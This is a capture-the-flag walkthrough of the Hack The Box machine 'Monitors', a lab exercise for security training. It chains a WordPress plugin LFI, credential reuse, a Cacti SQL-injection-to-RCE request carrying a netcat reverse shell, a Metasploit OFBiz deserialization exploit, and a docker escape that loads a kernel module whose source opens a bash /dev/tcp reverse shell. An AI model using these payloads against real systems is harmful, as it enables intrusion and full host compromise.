- Info Card :
- 0x1 – Recon
- 0x1.1 - Port and services enumeration
- 0x2 – FootHold
- 0x2.1 - Directory enumeration
- 0x2.2 - WordPress enumeration
- Correct lfi (not part of the box)
- 0x3 – First Exploitation (LFI & RFI)
- 0x3.1 - Directory trasversal (fingerprinting)
- 0x4 - FootHold on cacti-admin.monitors.htb
- 0x5 - Exploiting Cacti (Sqli Injection)
- Manually :
- 0x5.1 Getting a shell
- Automated :
- 0x6 – Privilege Escalation To Marcus
- 0x7 – Final Privilege Escalation
- 0x5.1 - Port Forwarding
- 0x5.2 Apache OFBiz XML-RPC Java Deserialization
- 0x5.3 - Container escaping via capability abusing
- 0xDetails
Info Card :
0x1 – Recon
0x1.1 - Port and services enumeration
I will use masscan and nmap for open port enumeration to find out which port and service is running on the machine
I use masscan for faster enumeration
Masscan is faster than nmap
So we have two services running :
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 ba:cc:cd:81:fc:91:55:f3:f6:a9:1f:4e:e8:be:e5:2e (RSA)
| 256 69:43:37:6a:18:09:f5:e7:7a:67:b8:18:11:ea:d7:65 (ECDSA)
|_ 256 5d:5e:3f:67:ef:7d:76:23:15:11:4b:53:f8:41:3a:94 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: WordPress 5.5.1
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Welcome to Monitor – Taking hardware monitoring seriously
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Let’s check web server...
0x2 – FootHold
"Sorry, direct IP access is not allowed. If you are having issues accessing the site then contact the website administrator: [email protected]"
Add monitors.htb to /etc/hosts
So access to web page :
0x2.1 - Directory enumeration
So im going to fuzz directories to see if there are any hidden directories where you can find interesting things
$ gobuster dir -u http://monitors.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 64 -x php,sql,txt
/wp-content (Status: 301) [Size: 317] [--> http://monitors.htb/wp-content/]
/wp-login.php (Status: 200) [Size: 7612]
/license.txt (Status: 200) [Size: 19915]
/index.php (Status: 301) [Size: 0] [--> http://monitors.htb/]
/wp-includes (Status: 301) [Size: 318] [--> http://monitors.htb/wp-includes/]
/wp-trackback.php (Status: 200) [Size: 135]
/wp-admin (Status: 301) [Size: 315] [--> http://monitors.htb/wp-admin/]
/xmlrpc.php (Status: 405) [Size: 42]
/wp-signup.php (Status: 302) [Size: 0] [--> http://monitors.htb/wp-login.php?action=register]
/server-status (Status: 403) [Size: 277]
0x2.2 - WordPress enumeration
We have typical WordPress directories and files (wp-login.php,wp-admin,..). So we are on a WordPress.
We will use a well known tool to list wordpress cms (WPSCAN)
$ wpscan --url http://monitors.htb/ -e ap
Flags info
—url (website url)
-e (ennumerate) ap = All plugins
With wpscan we found themes, plugins and lots of other information about the cms
We found a plugin called "wp-with-spritz".
Usually when we find the plugins present on worpress we search on them to see that they are not vulnerable
The Vuln is very stupid unfortunately some developers don't know their language well and make mistakes like not filtering special characters in a parameter
Correct lfi (not part of the box)
To fix the vulnerability the developer could have done his code like this :
// bad code
if(isset($_GET['url'])){
$content=file_get_contents($_GET['url']);
A simple str_replace will work against "../" but not against "../" encode more use the NULL Byte to stop the string before the extension so a simple str replace is not the solution to fix this vulnerability It is more radical to include the name directly in the code without going through the URL but testing a name instead :
<?php if ($_GET['page'] == “news”) {
include(“exemple.php”);
} else {
include (“index.php”);
}?>
0x3 – First Exploitation (LFI & RFI)
We have therefore identified a "local file inclusion & remote file inclusion" vulnerability"
What is lfi & rfi ?
A local file inclusion allows us to include local files in the server so the directory trasversal
A remote file inclusion allows to include remote files to the server (our files)
We will exploit the potential of this vulnerability to find something interesting
0x3.1 - Directory trasversal (fingerprinting)
You can look at /etc/passwd
The user marcus can be found
Let's look at the "wp-config.php" file
What is "wp-config.php"
The wp-config.php creation script uses this file during the installation. You don't have to use the web site, you can copy this file to "wp-config.php" and fill in the values.
This file contains the following configurations:
- MySQL settings
- Secret keys
- Database table prefix
- ABSPATH
We therefore recover the credentials from the database (this may be of use to us in the future) :
/** MySQL database username */
define( 'DB_USER', 'wpadmin' );
/** MySQL database password */
define( 'DB_PASSWORD', '[email protected]!' );
The credentials don't work on the wordpress login let's try to list a bit more
We can try to get /var/log/apache2/access.log
But it seems the user with which I got LFI didn’t have access to access logs files. Did a little reading,researching and I came to know that /proc/self/fd
provides symbolic shortcut to access logs and various other system related file. So I tried reading those in search for access logs
After trying several times we manage to see the apache access logs via /proc/self/fd/10
view-source:http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../../proc/self/ld/10
There are some special GET requests in /cacti
We can see the host configuration in /etc/apache2/sites-available/000-default.conf
We found another vhost. We will put it in our /etc/hosts to access it
Let's get on it
0x4 - FootHold on cacti-admin.monitors.htb
The page appears to be a login form
But before that we will inform ourselves about cacti
What is cacti ?
Cacti is a free network and server performance measurement software based on the data storage power of RRDTool. It is often used with monitoring software, but it does not do monitoring as such. It does not do incident correlation or alerting in case of an incident.
NOTE : Login to Cacti with the default username and password of "admin" and "admin"
The default credentials ones don't seem to work we can try to connect with the ones we found in the wp-config.php
We will try the password found in it with the user admin
Username : admin
Password : BestAdministrator@2020!
And it worked! Now we have access to the admin panel
We can identify the version of cacti in the top left of the index.php
Version : 1.2.12
We can try to find out about this version if it is not vulnerable
An automated script was released a few days after the machine
https://www.exploit-db.com/exploits/49810 (automated part)
By doing some research we find a poc that explains how to exploit Cact 1.2.12 via an sql injection in colors.php (manual part) https://github.com/Cacti/cacti/issues/3622
Due to the fact that the script was released a few days after the release of the machine I will show you how to do it manually and with a automated script.
0x5 - Exploiting Cacti (Sqli Injection)
Manually :
So the exploitation is an sql injection in /cacti/color.php page on the parameter filter . Via that if we can have a rce (remote code execution) on it
The application accept stacked queries, this can easy lead to remote code execution by replacing the path_php_binary setting inside the database.
CVE ID : CVE-2020-14295
Let's go to /cacti/colors.php and intercept the request with burp
0x5.1 Getting a shell
Following the proof of concept we can see that sql injection worked
GET /cacti/color.php?action=export&header=false&filter=1')+UNION+SELECT+1,username,password,4,5,6,7+from+user_auth;update+settings+set+value='touch+/tmp/sqli_from_rce;'+where+name='path_php_binary';--+-
The request (rce) sent just create a file in /tmp we can modify it to get a reverse shell on the machine
Normally our reverse shell should look like this (nc reverse shell) :
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ip> <port> >/tmp/f
But the query requires +
instead of spaces and a ;
at the end so our reverse shell will be like this :
rm+/tmp/f;mkfifo+/tmp/f;cat+/tmp/f|/bin/sh+-i+2>%261|nc+<ip>+<port>+>/tmp/f;
(hide <> from ip and port input)
So let's change the request like this :
GET /cacti/color.php?action=export&header=false&filter=1')+UNION+SELECT+1,username,password,4,5,6,7+from+user_auth;update+settings+set+value='rm+/tmp/f;mkfifo+/tmp/f;cat+/tmp/f|/bin/sh+-i+2>%261|nc+10.10.14.76+9999+>/tmp/f;'+where+name='path_php_binary';--+- HTTP/1.1
Set up your listener on the port registered in your reverse shell
┌──(default㉿kali)-[~/Bureau/HTB/active/monitors]
└─$ nc -nvlp 9999
listening on [any] 9999 ...
Forward the request
Now we have to trigger on cacti/host.php?action=reindex
http://cacti-admin.monitors.htb/cacti/host.php?action=reindex and we get a reverse shell
Automated :
Download the python script here: https://www.exploit-db.com/exploits/49810
and run (with netcat listening on the chosen port) :
┌──(default㉿kali)-[~/Bureau/HTB/active/monitors]
└─$ python3 script.py -t http://cacti-admin.monitors.htb -u admin -p [email protected]! --lhost ip --lport port
0x6 – Privilege Escalation To Marcus
We already know the users on the machine (Marcus, Root)
But we can't read the user.txt file
[email protected]:/$ cat /home/marcus/user.txt
cat /home/marcus/user.txt
cat: /home/marcus/user.txt: Permission denied
We will have to set up a little enumeration on the server in order to find a way to escalate to the user marcus
You can't find anything by searching the SUID or the running processes or the cron
But let remember we find something to escalate on marcus user
Let's find out about him on the machine
use grep command to searching string "marcus" related file on every directory
[email protected]:/$ grep 'marcus' -R /etc 2>/dev/null
grep 'marcus' -R /etc 2>/dev/null
/etc/group-:marcus:x:1000:
/etc/subgid:marcus:165536:65536
/etc/group:marcus:x:1000:
/etc/passwd:marcus:x:1000:1000:Marcus Haynes:/home/marcus:/bin/bash
/etc/systemd/system/cacti-backup.service:ExecStart=/home/marcus/.backup/backup.sh
/etc/subuid:marcus:165536:65536
/etc/passwd-:marcus:x:1000:1000:Marcus Haynes:/home/marcus:/bin/bash
We found an interesting service in /etc/systemd/system/cacti-backup.service
What is systemd
systemd is a Linux initialization system and service manager that includes features like on-demand starting of daemons, mount and automount point maintenance, snapshot support, and processes tracking using Linux control groups.
Otherwise we are not allowed to start the service but we can try to read the .sh file
[email protected]:/$ cat /home/marcus/.backup/backup.sh
cat /home/marcus/.backup/backup.sh
#!/bin/bash
backup_name="cacti_backup"
config_pass="VerticalEdge2020"
zip /tmp/${backup_name}.zip /usr/share/cacti/cacti/*
sshpass -p "${config_pass}" scp /tmp/${backup_name} 192.168.1.14:/opt/backup_collection/${backup_name}.zip
rm /tmp/${backup_name}.zip
And yes no can. So we get the credentials of the configuration
It could be the password of marcus we can try to establish a ssh connection to get a shell as marcus
┌──(default㉿kali)-[~]
└─$ ssh [email protected]
[email protected]'s password: VerticalEdge2020
[email protected]:~$ cat user.txt
3d173d0b05fcb4a1281f4b00f0a9d810
0x7 – Final Privilege Escalation
By enumerating the server as marcus I could see the presence that the machine was listening on other port so other service
To see this I used netstat with the -pulnt options
Understand netstat
Netstat Print network connections, routing tables, interface statistics, masquerade connections, and multicast memberships
-p,--program
Show the PID and name of the program to which each socket belongs.
-u --udp
For UDP
-l,--listening
Show only listening sockets. (These are omitted by default.)
--numeric,-n
Show numerical addresses instead of trying to determine symbolic host, port or user names.
-t --tcp
For TCP
So we can see that the machine is listening on other ports :
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8443 0.0.0.0:* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
udp 0 0 0.0.0.0:68 0.0.0.0:* -
udp 0 0 127.0.0.1:161 0.0.0.0:* -
udp 0 0 0.0.0.0:52725 0.0.0.0:* -
udp 0 0 127.0.0.53:53 0.0.0.0:* -
The port 8443 looks interesting you can google what it is used for
The port 8443 is the default port that Tomcat use to open SSL text service. The default configuration file used in the port is 8443.
The Tomcat is a core project in the Jakarta project of the Apache Software Foundation, which is developed by Apache, Sun and several other companies and individuals.
It is therefore a port that runs an https service
Interestingly, this means that there is a web server on which we do not have access. We could try to forward the port on our localhost to see what the service is doing.
For that I will create a ssh tunnel that redirects port 8443 on our localhost in order to have access to it
To understand port forwarding :
0x5.1 - Port Forwarding
┌──(default㉿kali)-[~/Bureau/HTB/active/monitors]
└─$ ssh -L 8443:127.0.0.1:8443 [email protected]
Now that we can access the service through port forwarding via the ssh tunnel we can enumerate the service to find something else
So let's go to the web server
0x5.2 Apache OFBiz XML-RPC Java Deserialization
Its looks like apache tomcat 9.0.31 We can try to fuzz directories :
┌──(default㉿kali)-[~]
└─$ gobuster dir -u https://127.0.0.1:8443/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,sql,txt -k
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: https://127.0.0.1:8443/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: txt,php,sql
[+] Timeout: 10s
===============================================================
2021/04/29 22:34:27 Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 302) [Size: 0] [--> /images/]
/content (Status: 302) [Size: 0] [--> /content/]
/common (Status: 302) [Size: 0] [--> /common/]
/catalog (Status: 302) [Size: 0] [--> /catalog/]
/marketing (Status: 302) [Size: 0] [--> /marketing/]
/ecommerce (Status: 302) [Size: 0] [--> /ecommerce/]
/ap (Status: 302) [Size: 0] [--> /ap/]
/ar (Status: 302) [Size: 0] [--> /ar/]
/ebay (Status: 302) [Size: 0] [--> /ebay/]
/manufacturing (Status: 302) [Size: 0] [--> /manufacturing/]
/passport (Status: 302) [Size: 0] [--> /passport/]
/example (Status: 302) [Size: 0] [--> /example/]
/bi (Status: 302) [Size: 0] [--> /bi/]
/accounting (Status: 302) [Size: 0] [--> /accounting/]
/webtools (Status: 302) [Size: 0] [--> /webtools/]
If we look in the "/webtools" directory it redirects us to "/webtools/control/main" and we can find the following sentence:
"For something interesting make sure you are logged in, try username: admin, password: ofbiz.
NOTE: If you have not already run the installation data loading script, from the ofbiz home directory run "gradlew loadAll" or "java -jar build/libs/ofbiz.jar -l"
It seems that the credentials does not work on the login form
But we can see that we are on an Apache OFBiz
What is OFBiz ?
Apache Apache OFBiz is a free, open source, integrated suite of enterprise applications used to automate many business processes.
We can look on the internet if vulnerabilities are present on apache ofbiz 9.0.31 running on port 8443
It seems to be vulnerable to XML-RPC Java Deserialization
Searching a little we find a metasploit module that could suit us
┌──(default㉿kali)-[~]
└─$ msfconsole
msf6 > use exploit/linux/http/apache_ofbiz_deserialization
[*] Using configured payload linux/x64/meterpreter_reverse_https
msf6 exploit(linux/http/apache_ofbiz_deserialization) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf6 exploit(linux/http/apache_ofbiz_deserialization) > set lhost 10.10.14.76
lhost => 10.10.14.76
msf6 exploit(linux/http/apache_ofbiz_deserialization) > set lport 1337
lport => 1337
msf6 exploit(linux/http/apache_ofbiz_deserialization) > set forceexploit true
forceexploit => true
msf6 exploit(linux/http/apache_ofbiz_deserialization) > set payload linux/x64/shell/reverse_tcp
payload => linux/x64/shell/reverse_tcp
And we are root! Oh wait it wouldn't be that easy !
The precense of the .dockerenv and the hostname tells us that we are on a container (a docker)
Unfortunately it will not be so easy we have to find a way to escape from this docker
This process is called container escape
We will have to list the docker. The enumeration of docker is not obvious for everyone. To help you in the future you can find cheat sheets on the internet to guide us in our enumeration
0x5.3 - Container escaping via capability abusing
In a container there are "Container Capabilities"
By default, Docker containers are unprivileged. For example, in the default case, you cannot run a Docker daemon inside a Docker container. To give you control over a container's capabilities, Docker supports cap-add and cap-drop. For more details, see Runtime privilege and Linux capabilities.
You should check the capabilities of the container, if it has any of the following ones, you might be able to scape from it: CAP_SYS_ADMIN, CAP_SYS_PTRACE, CAP_SYS_MODULE, DAC_READ_SEARCH, DAC_OVERRIDE
To enumerate the capabilities of in linux we can do the following command ( linpeas and linenum enumerate docker too ):
capsh --print
We found the access to use a very interesting capability
cap_sys_module
CAP_SYS_MODULE
* Load and unload kernel modules (seeinit_module(2) and
delete_module(2));
* in kernels before 2.6.25: drop capabilities from the
system-wide capability bounding set.
To explain what cap_sys_module does we can load and unload kernel modules in our case we will try to abuse it
Searching on the internet I found this article very interesting to abuse this capability
L'article nous explique que
Sometimes the application/tool packaged in the Docker image might need to perform a privileged operation in order to function. For example, it might need to insert a kernel module into the kernel of the Docker host.
In such a case, the Docker allows the user to add an additional Linux capability (i.e. SYS_MODULE) to the container. This approach is way better than using an all-powerful “privileged” option.
For uninitialized, Linux Capabilities are used to allow binaries (executed by non-root users) to perform privileged operations without providing them all root permissions. There are currently 40 capabilities supported by the Linux kernel.
In order to exploit the cape we will have to prepare it
- Find the IP address of the docker container.
We found it when we connect to the ssh but we could have found it directly on the docker
2. Write a program to invoke a reverse shell with the help of usermode Helper API.
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/172.17.0.2/4444 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
This code can be found on the article
Explanation
- The call_usermodehelper function is used to create user mode processes from kernel space.
- The call_usermodehelper function takes three parameters: argv, envp and UMH_WAIT_EXEC
- The arguments to the program are stored in argv.
- The environment variables are stored in envp.
- UMH_WAIT_EXEC causes the kernel module to wait until the loader executes the program.
Save the above program as “reverse-shell.c”
3. Create a Makefile to compile the kernel module.
obj-m +=reverse-shell.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
4. Make the kernel module
[email protected]:/root# wget http://10.10.14.76/reverse-shell.c
wget http://10.10.14.76/reverse-shell.c
--2021-04-29 23:08:12-- http://10.10.14.76/reverse-shell.c
Connecting to 10.10.14.76:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 616 [text/x-csrc]
Saving to: 'reverse-shell.c'
0K 100% 39.2M=0s
2021-04-29 23:08:12 (39.2 MB/s) - 'reverse-shell.c' saved [616/616]
[email protected]:/root# wget http://10.10.14.76/Makefile
wget http://10.10.14.76/Makefile
--2021-04-29 23:08:35-- http://10.10.14.76/Makefile
Connecting to 10.10.14.76:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 160 [application/octet-stream]
Saving to: 'Makefile'
0K 100% 10.9M=0s
2021-04-29 23:08:35 (10.9 MB/s) - 'Makefile' saved [160/160]
[email protected]:/root# make
make
make -C /lib/modules/4.15.0-142-generic/build M=/root modules
make[1]: Entering directory '/usr/src/linux-headers-4.15.0-142-generic'
CC [M] /root/reverse-shell.o
Building modules, stage 2.
MODPOST 1 modules
CC /root/reverse-shell.mod.o
LD [M] /root/reverse-shell.ko
make[1]: Leaving directory '/usr/src/linux-headers-4.15.0-142-generic'
5. Insert kernel modul
Insert the kernel module and don't forget to set up your listener to have the reverse shell as root
insmod reverse-shell.ko
And we just pwned the machine !
0xDetails
CVE Details
CVE ID | Type | CVSS | Link |
---|---|---|---|
N/A | LFI & RFI | 8/10 | https://www.exploit-db.com/exploits/44544 |
CVE-2020-14295 | Sql Injection & Rce | 9/10 | https://nvd.nist.gov/vuln/detail/CVE-2020-14295 |
CVE-2020-9496 | XML-RPC Java Deserialization | 6/10 | https://nvd.nist.gov/vuln/detail/CVE-2020-9496 |